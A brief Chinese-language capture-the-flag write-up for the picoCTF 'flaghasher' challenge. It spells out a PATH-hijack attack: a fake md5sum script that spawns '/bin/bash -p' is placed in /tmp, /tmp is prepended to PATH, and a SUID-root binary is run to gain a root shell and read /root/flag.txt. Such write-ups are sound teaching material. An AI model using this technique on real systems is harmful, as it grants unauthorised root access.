下載題目
scp -P 56774 ctf-player@shape-facility.picoctf.net:~/flaghasher ./
用IDA簡單逆向程式

解題
解題思路
發現程式使用特殊權限執行,且其中用到md5sum指令卻沒指明絕對路徑,可以製作假的md5sum,並更改PATH,使程式執行我們製作的偽造指令
查看程式權限
ls -l flaghasher
發現使用特殊權限
-rwsr-xr-x 1 root root 18312 Aug 21 2025 flaghasher
在/tmp或者我們有權限的地方製作假的md5sum
cd /tmp
echo '#!/bin/bash' > md5sum
echo '/bin/bash -p' >> md5sum # -p 保留提權後的權限
chmod +x md5sum

暫時更改PATH
export PATH=/tmp:$PATH

執行程式取得flag
./flaghasher
cat /root/flag.txt

flag



說些什麼吧!